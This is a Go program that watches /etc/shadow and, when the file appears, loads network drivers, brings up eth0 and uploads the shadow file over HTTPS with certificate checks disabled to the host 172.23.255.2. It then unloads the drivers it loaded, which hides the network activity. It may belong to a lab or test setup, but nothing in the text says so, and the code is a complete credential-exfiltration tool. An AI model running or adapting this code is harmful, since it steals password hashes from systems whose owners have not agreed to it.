package main import ( "bytes" "crypto/tls" "fmt" "io" "log" "math/rand" "mime/multipart" "net/http" "os" "os/exec" "path/filepath" "time" "gopkg.in/fsnotify.v1" ) const ( DestHost = "172.23.255.2" URLShadow = "https://172.23.255.2/passwd" PathToWatch = "/etc/shadow" WatchedNotify = fsnotify.Create ) var ( NetDrivers = [2]string{"e1000", "e1000e"} ) func sendFile(field, path string) error { tr := &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }, } client := &http.Client{ Timeout: 20 * time.Second, Transport: tr, } body := &bytes.Buffer{} writer := multipart.NewWriter(body) fw, err := writer.CreateFormFile(field, filepath.Base(path)) if err != nil { return err } file, err := os.Open(path) if err != nil { return err } _, err = io.Copy(fw, file) if err != nil { return err } writer.Close() req, err := http.NewRequest("POST", URLShadow, bytes.NewReader(body.Bytes())) if err != nil { return err } req.Header.Set("Content-Type", writer.FormDataContentType()) rsp, err := client.Do(req) if err != nil { return err } if rsp.StatusCode != http.StatusOK { return fmt.Errorf("Request failed with response code: %d", rsp.StatusCode) } return nil } func main() { // seed the rand package with time rand.Seed(time.Now().UnixNano()) watcher, err := fsnotify.NewWatcher() if err != nil { log.Fatal(err) } defer watcher.Close() if err := watcher.Add(filepath.Dir(PathToWatch)); err != nil { log.Fatal("Unable to watch requested file:", err) } log.Println("Ready! Waiting for events on", PathToWatch) for { select { case ev := <-watcher.Events: if d, err := os.Lstat(ev.Name); err == nil && ev.Op&WatchedNotify == WatchedNotify && d.Mode().IsRegular() && d.Name() == filepath.Base(PathToWatch) { log.Println("Treating event:", ev, "for", ev.Name) hasModprobe := false if err := exec.Command("/bin/sh", "-c", "lsmod | grep -q e1000").Run(); err == nil { log.Println("No need to modprobe, device already loaded") hasModprobe = true } else { log.Println("modprobe some devices") // modprobe for _, drv := range NetDrivers { log.Println("/sbin/modprobe", drv) err = exec.Command("/sbin/modprobe", drv).Run() if err != nil { log.Println("Unable to modprobe", drv, err.Error()) } } } // Wait for the eth device for n := 0; n < 8 && exec.Command("/sbin/ip", "link", "show", "dev", "eth0").Run() != nil; n++ { log.Println("eth0 not present, waiting for it...") time.Sleep(250 * time.Millisecond) } if err := exec.Command("/bin/ping", "-c", "1", "-W", "2", DestHost).Run(); err == nil { log.Println("The remote host ping, no need to set it up.") } else { // ip link set eth0 up err = exec.Command("/sbin/ip", "link", "set", "eth0", "up").Run() if err != nil { log.Println("Unable to ip link set eth0 up:", err.Error()) } // ip link set eth0 up err = exec.Command("/sbin/udhcpc", "-i", "eth0").Run() if err != nil { log.Println("Unable to udhcpc eth0:", err.Error()) } } // Send data err = sendFile("shadow", PathToWatch) if err != nil { log.Println("Unable to send file:", err.Error()) continue } if !hasModprobe { log.Println("Unload driver") // Remove driver for _, drv := range NetDrivers { err = exec.Command("/sbin/modprobe", "-r", drv).Run() if err != nil { log.Println("Unable to remove modprobe", drv, err.Error()) } } } log.Println("Done, see you later") } else { log.Println("Skipped event:", ev, "for", ev.Name) } } } }